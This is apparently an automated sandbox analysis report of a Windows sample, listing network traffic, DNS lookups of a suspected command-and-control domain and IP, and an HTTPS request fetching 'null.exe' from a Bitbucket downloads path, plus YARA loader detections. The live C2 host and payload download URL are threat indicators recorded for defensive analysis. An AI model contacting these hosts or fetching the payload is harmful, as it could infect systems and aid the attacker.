Dec 12, 2024 17:50:17.522810936 CET	30203	49740	181.131.217.244	192.168.2.4
Dec 12, 2024 17:50:17.522912025 CET	49740	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:50:17.523900986 CET	49740	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:50:17.643877029 CET	30203	49740	181.131.217.244	192.168.2.4
Dec 12, 2024 17:50:17.643965960 CET	49740	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:50:17.766839027 CET	30203	49740	181.131.217.244	192.168.2.4
Dec 12, 2024 17:50:18.889946938 CET	30203	49740	181.131.217.244	192.168.2.4
Dec 12, 2024 17:50:18.890043974 CET	49740	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:50:18.890269041 CET	49740	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:50:18.996721983 CET	49741	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:50:19.010046005 CET	30203	49740	181.131.217.244	192.168.2.4
Dec 12, 2024 17:50:19.120836020 CET	30203	49741	181.131.217.244	192.168.2.4
Dec 12, 2024 17:50:19.121058941 CET	49741	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:50:19.121969938 CET	49741	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:50:19.247911930 CET	30203	49741	181.131.217.244	192.168.2.4
Dec 12, 2024 17:50:19.247965097 CET	49741	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:50:19.367595911 CET	30203	49741	181.131.217.244	192.168.2.4
Dec 12, 2024 17:50:41.030113935 CET	30203	49741	181.131.217.244	192.168.2.4
Dec 12, 2024 17:50:41.030169964 CET	49741	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:50:41.030314922 CET	49741	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:50:41.150068998 CET	30203	49741	181.131.217.244	192.168.2.4
Dec 12, 2024 17:50:41.996521950 CET	49743	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:50:42.116600037 CET	30203	49743	181.131.217.244	192.168.2.4
Dec 12, 2024 17:50:42.116769075 CET	49743	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:50:42.117712975 CET	49743	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:50:42.237829924 CET	30203	49743	181.131.217.244	192.168.2.4
Dec 12, 2024 17:50:42.237993002 CET	49743	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:50:42.358318090 CET	30203	49743	181.131.217.244	192.168.2.4
Dec 12, 2024 17:50:43.472083092 CET	30203	49743	181.131.217.244	192.168.2.4
Dec 12, 2024 17:50:43.472134113 CET	49743	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:50:43.472306013 CET	49743	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:50:43.574503899 CET	49744	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:50:43.593188047 CET	30203	49743	181.131.217.244	192.168.2.4
Dec 12, 2024 17:50:43.882448912 CET	30203	49744	181.131.217.244	192.168.2.4
Dec 12, 2024 17:50:43.882669926 CET	49744	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:50:43.883466005 CET	49744	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:50:44.003361940 CET	30203	49744	181.131.217.244	192.168.2.4
Dec 12, 2024 17:50:44.003416061 CET	49744	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:50:44.127969980 CET	30203	49744	181.131.217.244	192.168.2.4
Dec 12, 2024 17:50:54.250351906 CET	30203	49744	181.131.217.244	192.168.2.4
Dec 12, 2024 17:50:54.250725031 CET	49744	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:50:54.250725985 CET	49744	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:50:54.355473995 CET	49752	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:50:54.370554924 CET	30203	49744	181.131.217.244	192.168.2.4
Dec 12, 2024 17:50:54.475336075 CET	30203	49752	181.131.217.244	192.168.2.4
Dec 12, 2024 17:50:54.476144075 CET	49752	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:50:54.476797104 CET	49752	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:50:54.599030018 CET	30203	49752	181.131.217.244	192.168.2.4
Dec 12, 2024 17:50:54.599090099 CET	49752	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:50:54.719794035 CET	30203	49752	181.131.217.244	192.168.2.4
Dec 12, 2024 17:51:16.374509096 CET	30203	49752	181.131.217.244	192.168.2.4
Dec 12, 2024 17:51:16.374588966 CET	49752	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:16.374783039 CET	49752	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:16.497550964 CET	30203	49752	181.131.217.244	192.168.2.4
Dec 12, 2024 17:51:19.331962109 CET	49809	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:19.452645063 CET	30203	49809	181.131.217.244	192.168.2.4
Dec 12, 2024 17:51:19.452883005 CET	49809	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:19.453907013 CET	49809	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:19.573760986 CET	30203	49809	181.131.217.244	192.168.2.4
Dec 12, 2024 17:51:19.573828936 CET	49809	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:19.694021940 CET	30203	49809	181.131.217.244	192.168.2.4
Dec 12, 2024 17:51:20.833015919 CET	30203	49809	181.131.217.244	192.168.2.4
Dec 12, 2024 17:51:20.833082914 CET	49809	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:20.833236933 CET	49809	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:20.949670076 CET	49814	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:20.952950001 CET	30203	49809	181.131.217.244	192.168.2.4
Dec 12, 2024 17:51:21.069556952 CET	30203	49814	181.131.217.244	192.168.2.4
Dec 12, 2024 17:51:21.069689035 CET	49814	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:21.070429087 CET	49814	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:21.190404892 CET	30203	49814	181.131.217.244	192.168.2.4
Dec 12, 2024 17:51:21.190511942 CET	49814	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:21.310720921 CET	30203	49814	181.131.217.244	192.168.2.4
Dec 12, 2024 17:51:22.448904991 CET	30203	49814	181.131.217.244	192.168.2.4
Dec 12, 2024 17:51:22.449156046 CET	49814	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:22.449321032 CET	49814	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:22.558777094 CET	49819	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:22.569006920 CET	30203	49814	181.131.217.244	192.168.2.4
Dec 12, 2024 17:51:22.679279089 CET	30203	49819	181.131.217.244	192.168.2.4
Dec 12, 2024 17:51:22.679538965 CET	49819	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:22.680982113 CET	49819	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:22.801625013 CET	30203	49819	181.131.217.244	192.168.2.4
Dec 12, 2024 17:51:22.801728964 CET	49819	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:22.921509981 CET	30203	49819	181.131.217.244	192.168.2.4
Dec 12, 2024 17:51:24.046185970 CET	30203	49819	181.131.217.244	192.168.2.4
Dec 12, 2024 17:51:24.046508074 CET	49819	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:24.046508074 CET	49819	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:24.152781010 CET	49824	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:24.167187929 CET	30203	49819	181.131.217.244	192.168.2.4
Dec 12, 2024 17:51:24.272486925 CET	30203	49824	181.131.217.244	192.168.2.4
Dec 12, 2024 17:51:24.272643089 CET	49824	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:24.273403883 CET	49824	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:24.393198967 CET	30203	49824	181.131.217.244	192.168.2.4
Dec 12, 2024 17:51:24.393316984 CET	49824	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:24.513330936 CET	30203	49824	181.131.217.244	192.168.2.4
Dec 12, 2024 17:51:25.673912048 CET	30203	49824	181.131.217.244	192.168.2.4
Dec 12, 2024 17:51:25.673996925 CET	49824	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:25.674139023 CET	49824	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:25.778022051 CET	49827	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:25.794531107 CET	30203	49824	181.131.217.244	192.168.2.4
Dec 12, 2024 17:51:25.897901058 CET	30203	49827	181.131.217.244	192.168.2.4
Dec 12, 2024 17:51:25.897981882 CET	49827	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:25.898863077 CET	49827	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:26.020956039 CET	30203	49827	181.131.217.244	192.168.2.4
Dec 12, 2024 17:51:26.021095037 CET	49827	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:26.146353960 CET	30203	49827	181.131.217.244	192.168.2.4
Dec 12, 2024 17:51:27.137425900 CET	49827	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:27.257369995 CET	30203	49827	181.131.217.244	192.168.2.4
Dec 12, 2024 17:51:27.257487059 CET	49827	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:27.378989935 CET	30203	49827	181.131.217.244	192.168.2.4
Dec 12, 2024 17:51:30.386058092 CET	30203	49827	181.131.217.244	192.168.2.4
Dec 12, 2024 17:51:30.386142969 CET	49827	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:30.386285067 CET	49827	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:30.496434927 CET	49840	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:30.506021976 CET	30203	49827	181.131.217.244	192.168.2.4
Dec 12, 2024 17:51:30.616475105 CET	30203	49840	181.131.217.244	192.168.2.4
Dec 12, 2024 17:51:30.616575003 CET	49840	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:30.617315054 CET	49840	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:30.739357948 CET	30203	49840	181.131.217.244	192.168.2.4
Dec 12, 2024 17:51:30.741883039 CET	49840	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:30.861802101 CET	30203	49840	181.131.217.244	192.168.2.4
Dec 12, 2024 17:51:35.007029057 CET	30203	49840	181.131.217.244	192.168.2.4
Dec 12, 2024 17:51:35.007102966 CET	49840	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:35.007330894 CET	49840	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:35.121424913 CET	49851	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:35.127135992 CET	30203	49840	181.131.217.244	192.168.2.4
Dec 12, 2024 17:51:35.241590023 CET	30203	49851	181.131.217.244	192.168.2.4
Dec 12, 2024 17:51:35.241679907 CET	49851	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:35.242362976 CET	49851	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:35.362960100 CET	30203	49851	181.131.217.244	192.168.2.4
Dec 12, 2024 17:51:35.363018990 CET	49851	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:35.483021975 CET	30203	49851	181.131.217.244	192.168.2.4
Dec 12, 2024 17:51:36.606431007 CET	30203	49851	181.131.217.244	192.168.2.4
Dec 12, 2024 17:51:36.608167887 CET	49851	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:36.608169079 CET	49851	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:36.729890108 CET	30203	49851	181.131.217.244	192.168.2.4
Dec 12, 2024 17:51:36.730906963 CET	49855	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:36.850693941 CET	30203	49855	181.131.217.244	192.168.2.4
Dec 12, 2024 17:51:36.850786924 CET	49855	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:36.851454020 CET	49855	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:36.971221924 CET	30203	49855	181.131.217.244	192.168.2.4
Dec 12, 2024 17:51:36.971287966 CET	49855	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:37.091109037 CET	30203	49855	181.131.217.244	192.168.2.4
Dec 12, 2024 17:51:39.559037924 CET	49855	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:39.680008888 CET	30203	49855	181.131.217.244	192.168.2.4
Dec 12, 2024 17:51:39.680079937 CET	49855	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:39.800280094 CET	30203	49855	181.131.217.244	192.168.2.4
Dec 12, 2024 17:51:42.368285894 CET	30203	49855	181.131.217.244	192.168.2.4
Dec 12, 2024 17:51:42.370104074 CET	49855	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:42.370259047 CET	49855	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:42.480906010 CET	49871	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:42.490174055 CET	30203	49855	181.131.217.244	192.168.2.4
Dec 12, 2024 17:51:42.601361990 CET	30203	49871	181.131.217.244	192.168.2.4
Dec 12, 2024 17:51:42.601644993 CET	49871	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:42.602359056 CET	49871	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:42.722265959 CET	30203	49871	181.131.217.244	192.168.2.4
Dec 12, 2024 17:51:42.725281000 CET	49871	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:42.845309973 CET	30203	49871	181.131.217.244	192.168.2.4
Dec 12, 2024 17:51:43.918452024 CET	49871	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:43.945029974 CET	30203	49871	181.131.217.244	192.168.2.4
Dec 12, 2024 17:51:43.945084095 CET	49871	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:43.945216894 CET	49871	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:44.038764954 CET	30203	49871	181.131.217.244	192.168.2.4
Dec 12, 2024 17:51:44.059215069 CET	49875	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:44.066812992 CET	30203	49871	181.131.217.244	192.168.2.4
Dec 12, 2024 17:51:44.066833019 CET	30203	49871	181.131.217.244	192.168.2.4
Dec 12, 2024 17:51:44.313962936 CET	30203	49875	181.131.217.244	192.168.2.4
Dec 12, 2024 17:51:44.317975044 CET	49875	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:44.320785046 CET	49875	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:44.443219900 CET	30203	49875	181.131.217.244	192.168.2.4
Dec 12, 2024 17:51:44.445904970 CET	49875	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:44.568818092 CET	30203	49875	181.131.217.244	192.168.2.4
Dec 12, 2024 17:51:44.731817007 CET	49875	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:44.889703989 CET	30203	49875	181.131.217.244	192.168.2.4
Dec 12, 2024 17:51:44.890221119 CET	49875	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:45.010555029 CET	30203	49875	181.131.217.244	192.168.2.4
Dec 12, 2024 17:51:48.852334023 CET	30203	49875	181.131.217.244	192.168.2.4
Dec 12, 2024 17:51:48.852404118 CET	49875	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:48.852560997 CET	49875	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:48.974116087 CET	30203	49875	181.131.217.244	192.168.2.4
Dec 12, 2024 17:51:53.895162106 CET	49896	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:54.015352964 CET	30203	49896	181.131.217.244	192.168.2.4
Dec 12, 2024 17:51:54.015459061 CET	49896	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:54.016386032 CET	49896	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:54.152518988 CET	30203	49896	181.131.217.244	192.168.2.4
Dec 12, 2024 17:51:54.152616978 CET	49896	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:54.277184963 CET	30203	49896	181.131.217.244	192.168.2.4
Dec 12, 2024 17:51:58.026845932 CET	49896	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:58.146779060 CET	30203	49896	181.131.217.244	192.168.2.4
Dec 12, 2024 17:51:58.146892071 CET	49896	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:58.266777992 CET	30203	49896	181.131.217.244	192.168.2.4
Dec 12, 2024 17:51:58.385570049 CET	30203	49896	181.131.217.244	192.168.2.4
Dec 12, 2024 17:51:58.385819912 CET	49896	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:58.385821104 CET	49896	30203	192.168.2.4	181.131.217.244
Dec 12, 2024 17:51:58.505896091 CET	30203	49896	181.131.217.244	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 12, 2024 17:49:54.027766943 CET	51972	53	192.168.2.4	1.1.1.1
Dec 12, 2024 17:49:55.042582035 CET	51972	53	192.168.2.4	1.1.1.1
Dec 12, 2024 17:49:55.792690992 CET	53	51972	1.1.1.1	192.168.2.4
Dec 12, 2024 17:49:55.792704105 CET	53	51972	1.1.1.1	192.168.2.4
Dec 12, 2024 17:50:06.737159967 CET	54803	53	192.168.2.4	1.1.1.1
Dec 12, 2024 17:50:06.877274036 CET	53	54803	1.1.1.1	192.168.2.4
Dec 12, 2024 17:50:41.137655973 CET	52440	53	192.168.2.4	1.1.1.1
Dec 12, 2024 17:50:41.995749950 CET	53	52440	1.1.1.1	192.168.2.4
Dec 12, 2024 17:51:16.480863094 CET	52238	53	192.168.2.4	1.1.1.1
Dec 12, 2024 17:51:17.495599031 CET	52238	53	192.168.2.4	1.1.1.1
Dec 12, 2024 17:51:18.511224985 CET	52238	53	192.168.2.4	1.1.1.1
Dec 12, 2024 17:51:19.330806971 CET	53	52238	1.1.1.1	192.168.2.4
Dec 12, 2024 17:51:19.330840111 CET	53	52238	1.1.1.1	192.168.2.4
Dec 12, 2024 17:51:19.330849886 CET	53	52238	1.1.1.1	192.168.2.4
Dec 12, 2024 17:51:48.965157986 CET	56460	53	192.168.2.4	1.1.1.1
Dec 12, 2024 17:51:49.964440107 CET	56460	53	192.168.2.4	1.1.1.1
Dec 12, 2024 17:51:50.980417013 CET	56460	53	192.168.2.4	1.1.1.1
Dec 12, 2024 17:51:52.980045080 CET	56460	53	192.168.2.4	1.1.1.1
Dec 12, 2024 17:51:53.892133951 CET	53	56460	1.1.1.1	192.168.2.4
Dec 12, 2024 17:51:53.892209053 CET	53	56460	1.1.1.1	192.168.2.4
Dec 12, 2024 17:51:53.892219067 CET	53	56460	1.1.1.1	192.168.2.4
Dec 12, 2024 17:51:53.892723083 CET	53	56460	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 12, 2024 17:49:54.027766943 CET	192.168.2.4	1.1.1.1	0xb010	Standard query (0)	formationslistcomplet2.sexidude.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 17:49:55.042582035 CET	192.168.2.4	1.1.1.1	0xb010	Standard query (0)	formationslistcomplet2.sexidude.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 17:50:06.737159967 CET	192.168.2.4	1.1.1.1	0x7e9e	Standard query (0)	bitbucket.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 17:50:41.137655973 CET	192.168.2.4	1.1.1.1	0xcb5e	Standard query (0)	formationslistcomplet2.sexidude.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 17:51:16.480863094 CET	192.168.2.4	1.1.1.1	0xe39d	Standard query (0)	formationslistcomplet2.sexidude.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 17:51:17.495599031 CET	192.168.2.4	1.1.1.1	0xe39d	Standard query (0)	formationslistcomplet2.sexidude.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 17:51:18.511224985 CET	192.168.2.4	1.1.1.1	0xe39d	Standard query (0)	formationslistcomplet2.sexidude.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 17:51:48.965157986 CET	192.168.2.4	1.1.1.1	0xcea3	Standard query (0)	formationslistcomplet2.sexidude.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 17:51:49.964440107 CET	192.168.2.4	1.1.1.1	0xcea3	Standard query (0)	formationslistcomplet2.sexidude.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 17:51:50.980417013 CET	192.168.2.4	1.1.1.1	0xcea3	Standard query (0)	formationslistcomplet2.sexidude.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 17:51:52.980045080 CET	192.168.2.4	1.1.1.1	0xcea3	Standard query (0)	formationslistcomplet2.sexidude.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 12, 2024 17:49:55.792690992 CET	1.1.1.1	192.168.2.4	0xb010	No error (0)	formationslistcomplet2.sexidude.com	181.131.217.244	A (IP address)	IN (0x0001)	false
Dec 12, 2024 17:49:55.792704105 CET	1.1.1.1	192.168.2.4	0xb010	No error (0)	formationslistcomplet2.sexidude.com	181.131.217.244	A (IP address)	IN (0x0001)	false
Dec 12, 2024 17:50:06.877274036 CET	1.1.1.1	192.168.2.4	0x7e9e	No error (0)	bitbucket.org	185.166.143.49	A (IP address)	IN (0x0001)	false
Dec 12, 2024 17:50:06.877274036 CET	1.1.1.1	192.168.2.4	0x7e9e	No error (0)	bitbucket.org	185.166.143.50	A (IP address)	IN (0x0001)	false
Dec 12, 2024 17:50:06.877274036 CET	1.1.1.1	192.168.2.4	0x7e9e	No error (0)	bitbucket.org	185.166.143.48	A (IP address)	IN (0x0001)	false
Dec 12, 2024 17:50:41.995749950 CET	1.1.1.1	192.168.2.4	0xcb5e	No error (0)	formationslistcomplet2.sexidude.com	181.131.217.244	A (IP address)	IN (0x0001)	false
Dec 12, 2024 17:51:19.330806971 CET	1.1.1.1	192.168.2.4	0xe39d	No error (0)	formationslistcomplet2.sexidude.com	181.131.217.244	A (IP address)	IN (0x0001)	false
Dec 12, 2024 17:51:19.330840111 CET	1.1.1.1	192.168.2.4	0xe39d	No error (0)	formationslistcomplet2.sexidude.com	181.131.217.244	A (IP address)	IN (0x0001)	false
Dec 12, 2024 17:51:19.330849886 CET	1.1.1.1	192.168.2.4	0xe39d	No error (0)	formationslistcomplet2.sexidude.com	181.131.217.244	A (IP address)	IN (0x0001)	false
Dec 12, 2024 17:51:53.892133951 CET	1.1.1.1	192.168.2.4	0xcea3	No error (0)	formationslistcomplet2.sexidude.com	181.131.217.244	A (IP address)	IN (0x0001)	false
Dec 12, 2024 17:51:53.892209053 CET	1.1.1.1	192.168.2.4	0xcea3	No error (0)	formationslistcomplet2.sexidude.com	181.131.217.244	A (IP address)	IN (0x0001)	false
Dec 12, 2024 17:51:53.892219067 CET	1.1.1.1	192.168.2.4	0xcea3	No error (0)	formationslistcomplet2.sexidude.com	181.131.217.244	A (IP address)	IN (0x0001)	false
Dec 12, 2024 17:51:53.892723083 CET	1.1.1.1	192.168.2.4	0xcea3	No error (0)	formationslistcomplet2.sexidude.com	181.131.217.244	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

bitbucket.org

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49731	185.166.143.49	443	3020	C:\Users\user\Desktop\fIPSLgT0lO.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 16:50:08 UTC	101	OUT	GET /facturacioncol/fact/downloads/null.exe HTTP/1.1 Host: bitbucket.org Connection: Keep-Alive
2024-12-12 16:50:09 UTC	5939	IN	HTTP/1.1 302 Found Date: Thu, 12 Dec 2024 16:50:09 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Server: AtlassianEdge Location: https://bbuseruploads.s3.amazonaws.com/986cb0ac-5fcf-4393-afaa-e2b223260ae9/downloads/47e1d263-9601-40cc-a367-13b7035db3ac/null.exe?response-content-disposition=attachment%3B%20filename%3D%22null.exe%22&AWSAccessKeyId=ASIA6KOSE3BNIK3V4DGT&Signature=CeSXCizIndXdpo0hNVhQNHPO6YE%3D&x-amz-security-token=IQoJb3JpZ2luX2VjEAkaCXVzLWVhc3QtMSJGMEQCIAiR1Rr4gukDYzqDqe6VyCYznX6djf6omD53N9z5eXxNAiAOa4oQ0hLIqn6hHaGwFLs9dy9CGpADmC9r%2BgzzvYixzCqwAgjC%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F8BEAAaDDk4NDUyNTEwMTE0NiIMdLt8wvGnGxpQ3VhgKoQCe8wqaRBxnVnGmgCUhs6TWySAMRXKxScrbgQIw1l5TliYWycjvfrdQ9KAUuNMU%2FwhakGHoE0SFuTSYhrM1G9PRALReQarQNdwzYN63jorLJ4YWbF3XMNkCEIyc7ndfWAWAsw%2FfjWHG0%2BHTpx6RPw%2FIQG57%2Fn5zg5wiHWoPYYes5WgRI5TNywnrgMzT2HeQqLoN3qnaIg%2BAtnkqDKS5EY2FY6PH72PmOl7UVqeyAnEuwwblKQlwD8%2FDNIruRgkrhDndJwiNI%2Fjj%2Fbmpx1PYlG3DYXUkX3nG9qpqdlp9qaxg66RItC8i7CuMgnCQGyIpd9Ne8xvpXMpMHF7fcuhoxTOVxRBVHQwsaPsugY6ngFGmq3npFGM4oH6YpgZGTfIpeNNKlZdAXKSvIsR6TfEz3KZeh4E29gHAGlbMUmtWcvwuflus8R05%2FCWtxLjrJB20TKCSAJ0mZ7ha8acTW5DNuxqW4A6JSpacup [TRUNCATED] Expires: Thu, 12 Dec 2024 16:50:09 GMT Cache-Control: max-age=0, no-cache, no-store, must-revalidate, private X-Used-Mesh: False Vary: Accept-Language, Origin Content-Language: en X-View-Name: bitbucket.apps.downloads.views.download_file X-Dc-Location: Micros-3 X-Served-By: d397ebd10269 X-Version: b7875da02c7c X-Static-Version: b7875da02c7c X-Request-Count: 103 X-Render-Time: 0.040573835372924805 X-B3-Traceid: 5837c2a58023410ca1429fb6a7061188 X-B3-Spanid: bb6129318e7df079 X-Frame-Options: SAMEORIGIN Content-Security-Policy: connect-src bitbucket.org .bitbucket.org bb-inf.net .bb-inf.net atlassianblog.wpengine.com id.atlassian.com api.atlassian.com api.stg.atlassian.com wss://bitbucketci-ws-service.services.atlassian.com/ wss://bitbucketci-ws-service.stg.services.atlassian.com/ wss://bitbucketci-ws-service.dev.services.atlassian.com/ analytics.atlassian.com atlassian-cookies--categories.us-east-1.prod.public.atl-paas.net as.atlassian.com api-private.stg.atlassian.com api-private.atlassian.com xp.atlassian.com atl-global.atlassian.com cofs.staging.public.atl-paas.net cofs.prod.public.atl-paas.net fd-assets.prod.atl-paas.net flight-deck-assets-bifrost.prod-east.frontend.public.atl-paas.net intake.opbeat.com api.media.atlassian.com api.segment.io xid.statuspage.io xid.atlassian.com xid.sourcetreeapp.com bam.nr-data.net bam-cell.nr-data.net www.google-analytics.com sentry.io *.ingest.sentry.io events.launchdarkly.com app.launchdarkly.com statsigapi.net fd-config.us-east-1.prod.public.atl-paas.net fd-config- [TRUNCATED] X-Usage-Quota-Remaining: 999246.334 X-Usage-Request-Cost: 765.67 X-Usage-User-Time: 0.019869 X-Usage-System-Time: 0.003101 X-Usage-Input-Ops: 0 X-Usage-Output-Ops: 0 Age: 0 X-Cache: MISS X-Content-Type-Options: nosniff X-Xss-Protection: 1; mode=block Atl-Traceid: 5837c2a58023410ca1429fb6a7061188 Atl-Request-Id: 5837c2a5-8023-410c-a142-9fb6a7061188 Strict-Transport-Security: max-age=63072000; includeSubDomains; preload Report-To: {"endpoints": [{"url": "https://dz8aopenkvv6s.cloudfront.net"}], "group": "endpoint-1", "include_subdomains": true, "max_age": 600} Nel: {"failure_fraction": 0.001, "include_subdomains": true, "max_age": 600, "report_to": "endpoint-1"} Server-Timing: atl-edge;dur=149,atl-edge-internal;dur=3,atl-edge-upstream;dur=147,atl-edge-pop;desc="aws-eu-central-1" Connection: close

Target ID:	0
Start time:	11:49:52
Start date:	12/12/2024
Path:	C:\Users\user\Desktop\fIPSLgT0lO.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\fIPSLgT0lO.exe"
Imagebase:	0xf70000
File size:	606'720 bytes
MD5 hash:	016D22F02AF7424E8D99C6C243ADCDB7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.2930871276.0000000005B40000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.2929425687.0000000004532000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.2928319421.0000000003391000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	11.2%
Dynamic/Decrypted Code Coverage:	100%
